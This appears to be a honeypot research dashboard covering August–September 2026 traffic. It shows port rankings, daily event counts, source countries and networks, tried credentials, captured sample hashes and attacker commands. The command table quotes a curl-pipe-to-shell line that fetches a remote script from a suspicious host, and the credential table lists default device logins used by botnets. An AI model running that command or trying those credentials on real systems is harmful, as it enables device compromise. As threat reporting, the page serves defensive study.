Port ranking #
The main table of the experiment: which ports attackers were most interested in. Sort by any column, filter by server, and search for a specific port, range or service name. Every row can be linked to, for example #port-3389.
| Port | Protocol | Typical service | Server | Attempts | Unique IPs | Share |
|---|---|---|---|---|---|---|
| 318 | tcp | — | both servers | 1 | 1 | 0.0% |
| 318 | tcp | — | srv4 | 1 | 1 | 0.0% |
| 418 | tcp | — | both servers | 1 | 1 | 0.0% |
| 418 | tcp | — | srv4 | 1 | 1 | 0.0% |
| 426 | tcp | — | both servers | 1 | 1 | 0.0% |
| 426 | tcp | — | srv4 | 1 | 1 | 0.0% |
| 457 | tcp | — | both servers | 1 | 1 | 0.0% |
| 457 | tcp | — | srv4 | 1 | 1 | 0.0% |
| 1900 | udp | SSDP | both servers | 1 | 1 | 0.0% |
| 1900 | udp | SSDP | srv3 | 1 | 1 | 0.0% |
- Time window
- 2026-08-21 – 2026-09-16
- Source data
- honeypot-ports-aggregated-20260922.csv
- Script
- to be published
- Format
- field documentation
Traffic over time #
Event volume over time, split into campaigns and baseline noise, with the number of unique IP addresses below it. According to the agents’ journals, single campaigns could produce most of a day’s traffic. Without the split the chart would mislead: a campaign would look like a trend and its end like a collection outage.
Exactly how campaigns are separated from baseline noise is defined by the script listed below the chart.
Events
- Baseline noise
- Campaigns
Unique IP addresses
Distinct source IP addresses on each day.
- srv3
- srv4
Unique IP addresses cannot be summed across servers – the same address may have attacked both. Each server therefore gets a line of its own.
Dimmed columns and hollow markers are incomplete periods: the collection window opens and closes at 12:00 UTC, and a period cut short by the chosen range is shorter than the rest. Don’t compare them with their neighbours.
Show values as a table
| Day (UTC) | Events | Campaigns | Baseline noise | Unique IPs srv3 | Unique IPs srv4 |
|---|---|---|---|---|---|
| 2026-08-22 · incomplete | 82,303 | 59,843 | 22,460 | 547 | 1,870 |
| 2026-08-23 | 79,276 | 34,177 | 45,099 | 1,292 | 3,529 |
| 2026-08-24 | 48,928 | 10,775 | 38,153 | 1,429 | 3,309 |
| 2026-08-25 | 69,902 | 29,825 | 40,077 | 1,552 | 3,824 |
| 2026-08-26 | 68,792 | 28,709 | 40,083 | 1,552 | 3,775 |
| 2026-08-27 | 204,306 | 161,642 | 42,664 | 1,585 | 4,301 |
| 2026-08-28 | 201,823 | 159,044 | 42,779 | 1,364 | 4,083 |
| 2026-08-29 | 206,275 | 171,641 | 34,634 | 1,029 | 3,853 |
| 2026-08-30 | 185,689 | 148,263 | 37,426 | 975 | 4,176 |
| 2026-08-31 | 539,919 | 504,248 | 35,671 | 1,488 | 4,183 |
| 2026-09-01 | 720,200 | 666,265 | 53,935 | 1,573 | 4,500 |
| 2026-09-02 | 275,758 | 209,955 | 65,803 | 1,859 | 4,281 |
| 2026-09-03 | 274,675 | 227,972 | 46,703 | 1,621 | 4,343 |
| 2026-09-04 | 219,422 | 167,450 | 51,972 | 1,628 | 4,087 |
| 2026-09-05 | 154,023 | 95,631 | 58,392 | 1,535 | 4,117 |
| 2026-09-06 | 131,807 | 46,399 | 85,408 | 1,637 | 4,349 |
| 2026-09-07 | 184,403 | 94,877 | 89,526 | 1,494 | 4,402 |
| 2026-09-08 | 169,747 | 59,781 | 109,966 | 1,758 | 4,609 |
| 2026-09-09 | 177,572 | 48,861 | 128,711 | 1,733 | 4,671 |
| 2026-09-10 | 193,394 | 60,866 | 132,528 | 1,818 | 5,095 |
| 2026-09-11 | 210,418 | 63,267 | 147,151 | 1,747 | 5,402 |
| 2026-09-12 | 254,827 | 82,831 | 171,996 | 1,859 | 5,450 |
| 2026-09-13 | 236,911 | 105,016 | 131,895 | 1,854 | 5,434 |
| 2026-09-14 | 213,640 | 83,835 | 129,805 | 1,994 | 5,516 |
| 2026-09-15 | 272,074 | 159,141 | 112,933 | 1,884 | 5,303 |
| 2026-09-16 · incomplete | 101,115 | 28,713 | 72,402 | 1,386 | 3,449 |
- Time window
- 2026-08-21 – 2026-09-16
- Source data
- timeline-aggregated not available yet
- Script
- to be published
- Format
- field documentation
Where the connections came from #
The origin of the connections. A country is the one the IP address is registered in, not where the attacker actually sits – behind an address there may be a rented server or a compromised machine anywhere in the world. The exact numbers are in the tables below.
The map is drawn by Datawrapper; loading it connects the browser to their servers. Open the map on its own
Geography and networks #
Where traffic came from according to source IP geolocation, and which autonomous systems (ASNs) the addresses belong to. Geolocation shows where an address is registered, not where the attacker sits.
Top countries
Largest networks (ASN)
| ASN | Network | Events | Unique IPs | Share |
|---|---|---|---|---|
| 51167 | CONTABO DE |
1,036,962 | 168 | 18.9% |
| 22295 | ADVIN US |
924,717 | 7 | 16.9% |
| 36352 | AS-COLOCROSSING US |
388,883 | 131 | 7.1% |
| 212238 | CDNEXT GB |
385,498 | 98 | 7.0% |
| 396982 | GOOGLE-CLOUD-PLATFORM US |
171,392 | 3,170 | 3.1% |
| 14061 | DIGITALOCEAN-ASN US |
138,119 | 2,732 | 2.5% |
| 45090 | TENCENT-NET-AP Shenzhen Tencent Computer Systems Company Limited CN |
133,244 | 114 | 2.4% |
| 209334 | MODAT-01 NL |
114,475 | 93 | 2.1% |
| 197170 | TECHTIES-AS - TechTies Inc. SC |
110,821 | 185 | 2.0% |
| 45102 | ALIBABA-CN-NET Alibaba US Technology Co., Ltd. CN |
101,319 | 303 | 1.8% |
Show values as a table
| Country | Events | Unique IPs | Share |
|---|---|---|---|
| US | 2,057,660 | 13,624 | 37.6% |
| DE | 1,230,744 | 1,111 | 22.5% |
| CN | 556,778 | 5,671 | 10.2% |
| GB | 486,870 | 2,870 | 8.9% |
| SC | 184,746 | 319 | 3.4% |
| NL | 120,671 | 174 | 2.2% |
| TN | 96,601 | 94 | 1.8% |
| VN | 64,512 | 644 | 1.2% |
| MX | 59,561 | 281 | 1.1% |
| IN | 49,705 | 850 | 0.9% |
- Time window
- 2026-08-21 – 2026-09-16
- Source data
- geo-aggregated not available yet
- Script
- to be published
- Format
- field documentation
Credentials #
Username and password combinations attackers tried, and the most-tried usernames. Values are shown exactly as they arrived.
Most-tried usernames
Most common combinations
| Username | Password | Attempts | Unique IPs |
|---|---|---|---|
root |
(empty) | 3,084 | 219 |
admin |
admin |
2,649 | 849 |
enable\x00 |
linuxshell\x00 |
1,955 | 24 |
admin |
(empty) | 1,939 | 69 |
root |
xc3511 |
1,591 | 76 |
root |
admin |
1,529 | 160 |
root |
vizxv |
1,523 | 120 |
root |
123456 |
1,207 | 142 |
support |
support |
990 | 129 |
enable\x00 |
system\x00 |
983 | 27 |
- Time window
- 2026-08-21 – 2026-09-16
- Source data
- credentials-aggregated not available yet
- Script
- to be published
- Format
- field documentation
What happened after login #
Commands attackers typed into the emulated shell, ordered by frequency. This is attacker input, not code that actually ran on the server.
| Command | Count | Sessions |
|---|---|---|
curl http://bins.oceanic-node.su/curl.sh -o- | sh |
1 | 1 |
df -h / | awk 'NR==2 {print $2}' |
1 | 1 |
echo -e "\x6d\x69\x6f\x72\x69\x63\x68" |
1 | 1 |
echo 1ac68a3d3d1ae572b038f0bd > /tmp/.hp52a7383f_a 2>/dev/null;echo 4a6f3677912b575a89d25576 > /tmp/.hp52a7383f_b 2>/dev/null;printf 'TOKENA:%s\n' "$(cat /tmp/.hp52a7383f_a 2>/dev/null | tr -d '\n')";printf 'TOKENB:%s\n' "$(cat /tmp/.hp52a7383f_b 2>/dev/null | tr -d '\n')";rm -f /tmp/.hp52a7383f_a /tmp/.hp52a7383f_b 2>/dev/null;printf 'WTOKEN_EXP_A:%s\n' 1ac68a3d3d1ae572b038f0bd;printf 'WTOKEN_EXP_B:%s\n' 4a6f3677912b575a89d25576;printf 'TMP_PERM:%s\n' "$(stat -c '%a' /tmp 2>/dev/null)";R1=$(dd if=/dev/urandom bs=16 count=1 2>/dev/null | od -An -tx1 | tr -d ' \n');R2=$(dd if=/dev/urandom bs=16 count=1 2>/dev/null | od -An -tx1 | tr -d ' \n');R3=$(dd if=/dev/urandom bs=16 count=1 2>/dev/null | od -An -tx1 | tr -d ' \n');printf 'RAND1:%s\n' "$R1";printf 'RAND2:%s\n' "$R2";printf 'RAND3:%s\n' "$R3" |
1 | 1 |
echo 1JN6OItjeK && cd /tmp; echo ga7YumFGzQ > p1KEfl4OAe && sleep 97 & |
1 | 1 |
echo 6c1c2994b361e44cb09841fb > /tmp/.hp5cd3cf52_a 2>/dev/null;echo 06890476274ac873ccbefe04 > /tmp/.hp5cd3cf52_b 2>/dev/null;printf 'TOKENA:%s\n' "$(cat /tmp/.hp5cd3cf52_a 2>/dev/null | tr -d '\n')";printf 'TOKENB:%s\n' "$(cat /tmp/.hp5cd3cf52_b 2>/dev/null | tr -d '\n')";rm -f /tmp/.hp5cd3cf52_a /tmp/.hp5cd3cf52_b 2>/dev/null;printf 'WTOKEN_EXP_A:%s\n' 6c1c2994b361e44cb09841fb;printf 'WTOKEN_EXP_B:%s\n' 06890476274ac873ccbefe04;printf 'TMP_PERM:%s\n' "$(stat -c '%a' /tmp 2>/dev/null)";R1=$(dd if=/dev/urandom bs=16 count=1 2>/dev/null | od -An -tx1 | tr -d ' \n');R2=$(dd if=/dev/urandom bs=16 count=1 2>/dev/null | od -An -tx1 | tr -d ' \n');R3=$(dd if=/dev/urandom bs=16 count=1 2>/dev/null | od -An -tx1 | tr -d ' \n');printf 'RAND1:%s\n' "$R1";printf 'RAND2:%s\n' "$R2";printf 'RAND3:%s\n' "$R3" |
1 | 1 |
echo 343b4661268937bd457f6d1e > /tmp/.hp43cbb759_a 2>/dev/null;echo 213c6016ffe4a994de7da7bb > /tmp/.hp43cbb759_b 2>/dev/null;printf 'TOKENA:%s\n' "$(cat /tmp/.hp43cbb759_a 2>/dev/null | tr -d '\n')";printf 'TOKENB:%s\n' "$(cat /tmp/.hp43cbb759_b 2>/dev/null | tr -d '\n')";rm -f /tmp/.hp43cbb759_a /tmp/.hp43cbb759_b 2>/dev/null;printf 'WTOKEN_EXP_A:%s\n' 343b4661268937bd457f6d1e;printf 'WTOKEN_EXP_B:%s\n' 213c6016ffe4a994de7da7bb;printf 'TMP_PERM:%s\n' "$(stat -c '%a' /tmp 2>/dev/null)";R1=$(dd if=/dev/urandom bs=16 count=1 2>/dev/null | od -An -tx1 | tr -d ' \n');R2=$(dd if=/dev/urandom bs=16 count=1 2>/dev/null | od -An -tx1 | tr -d ' \n');R3=$(dd if=/dev/urandom bs=16 count=1 2>/dev/null | od -An -tx1 | tr -d ' \n');printf 'RAND1:%s\n' "$R1";printf 'RAND2:%s\n' "$R2";printf 'RAND3:%s\n' "$R3" |
1 | 1 |
echo 58297b80d35eae80c5aff055 > /tmp/.hp57d6e43e_a 2>/dev/null;echo d5c6f47f7e506e55c00e81a1 > /tmp/.hp57d6e43e_b 2>/dev/null;printf 'TOKENA:%s\n' "$(cat /tmp/.hp57d6e43e_a 2>/dev/null | tr -d '\n')";printf 'TOKENB:%s\n' "$(cat /tmp/.hp57d6e43e_b 2>/dev/null | tr -d '\n')";rm -f /tmp/.hp57d6e43e_a /tmp/.hp57d6e43e_b 2>/dev/null;printf 'WTOKEN_EXP_A:%s\n' 58297b80d35eae80c5aff055;printf 'WTOKEN_EXP_B:%s\n' d5c6f47f7e506e55c00e81a1;printf 'TMP_PERM:%s\n' "$(stat -c '%a' /tmp 2>/dev/null)";R1=$(dd if=/dev/urandom bs=16 count=1 2>/dev/null | od -An -tx1 | tr -d ' \n');R2=$(dd if=/dev/urandom bs=16 count=1 2>/dev/null | od -An -tx1 | tr -d ' \n');R3=$(dd if=/dev/urandom bs=16 count=1 2>/dev/null | od -An -tx1 | tr -d ' \n');printf 'RAND1:%s\n' "$R1";printf 'RAND2:%s\n' "$R2";printf 'RAND3:%s\n' "$R3" |
1 | 1 |
echo 41413924c759f2192e9ba453 > /tmp/.hp221db962_a 2>/dev/null;echo a5960c712789dab1f57937ae > /tmp/.hp221db962_b 2>/dev/null;printf 'TOKENA:%s\n' "$(cat /tmp/.hp221db962_a 2>/dev/null | tr -d '\n')";printf 'TOKENB:%s\n' "$(cat /tmp/.hp221db962_b 2>/dev/null | tr -d '\n')";rm -f /tmp/.hp221db962_a /tmp/.hp221db962_b 2>/dev/null;printf 'WTOKEN_EXP_A:%s\n' 41413924c759f2192e9ba453;printf 'WTOKEN_EXP_B:%s\n' a5960c712789dab1f57937ae;printf 'TMP_PERM:%s\n' "$(stat -c '%a' /tmp 2>/dev/null)";R1=$(dd if=/dev/urandom bs=16 count=1 2>/dev/null | od -An -tx1 | tr -d ' \n');R2=$(dd if=/dev/urandom bs=16 count=1 2>/dev/null | od -An -tx1 | tr -d ' \n');R3=$(dd if=/dev/urandom bs=16 count=1 2>/dev/null | od -An -tx1 | tr -d ' \n');printf 'RAND1:%s\n' "$R1";printf 'RAND2:%s\n' "$R2";printf 'RAND3:%s\n' "$R3" |
1 | 1 |
echo AQrRidvGCc && cd /tmp; echo Gsc9XpxTqG > GTkt5leyWb && sleep 181 & |
1 | 1 |
- Time window
- 2026-08-21 – 2026-09-16
- Source data
- attacker-commands-aggregated not available yet
- Script
- to be published
- Format
- field documentation
Captured samples #
Files attackers tried to download or upload, by type and architecture.
By file type
By architecture
| SHA-256 | Type | Architecture | Size | First seen | Times seen | Look up |
|---|---|---|---|---|---|---|
| 87adc00cc7aa18d84c0b047bc186b34e48715b89f8d2f40278f7eb3a01d05223 | PE | — | 5.0 MB | 2026-09-16 16:07:27 UTC | 0 | VirusTotal |
| 556ee9f8e72a1227ba78be3a191e1292cf80583662feaa6076594ce735add52c | PE | — | 5.0 MB | 2026-09-16 16:29:11 UTC | 0 | VirusTotal |
| 7a249a6470918e47a1b52977ffc2647f509b743577a9d08a7eca97d92fefd3e2 | PE | — | 5.0 MB | 2026-09-16 16:43:57 UTC | 0 | VirusTotal |
| b4bdea26eaaeb90ebc546cbcb8f5d7094e6e4cb603852373d3c0960e7d11b81d | PE | — | 5.0 MB | 2026-09-16 17:20:47 UTC | 0 | VirusTotal |
| 816d74c4e22f2960b7c65cd43fc5439e6794f7364057cd7ba790395d1fe9b6a7 | PE | — | 5.0 MB | 2026-09-16 17:32:38 UTC | 0 | VirusTotal |
| 537f0aca0b2951c929f8442d96fdcb98730a5d8d1c2f8f3676213e72e7056e33 | PE | — | 5.0 MB | 2026-09-16 17:50:59 UTC | 0 | VirusTotal |
| b9318a1bebca4d2d3066cf32a7a44008b3f79347499c60204130c3e584dfebde | PE | — | 5.0 MB | 2026-09-16 18:14:39 UTC | 0 | VirusTotal |
| daddeeb978989f4fec6baef6591ea4914f2d2aae464b79cfcf49303f58234caa | PE | — | 5.0 MB | 2026-09-16 18:29:35 UTC | 0 | VirusTotal |
| a08e56df07fb449d8ad53d7ceb65e01aa884a42dfea52b1b06f3fb869203cee4 | PE | — | 5.0 MB | 2026-09-16 18:30:52 UTC | 0 | VirusTotal |
| 60ce05881f1ec405ceaccdfeb15c700f0bda7e9f4912d49cd3e9b52d182a3b2f | PE | — | 5.0 MB | 2026-09-16 18:32:03 UTC | 0 | VirusTotal |
- Time window
- 2026-08-21 – 2026-09-16
- Source data
- samples-aggregated not available yet
- Script
- to be published
- Format
- field documentation
Server comparison #
How much traffic the larger surface brought in, and how the structure differs between the two servers.
| Metric | srv3 | srv4 | srv4 / srv3 |
|---|---|---|---|
| Connection attempts (port ranking) | 1,462,877 | 4,014,322 | 2.7× |
| Ports hit | 45 | 58,628 | 1,302.8× |
| Events (traffic over time) | 1,462,877 | 4,014,322 | 2.7× |
srv3 top ports
srv4 top ports
- Time window
- 2026-08-21 – 2026-09-16
- Source data
- honeypot-ports-aggregated-20260922.csv, timeline-aggregated not available yet
- Script
- to be published
- Format
- field documentation
Found a bug, missing data or a leak of sensitive information? Report a problem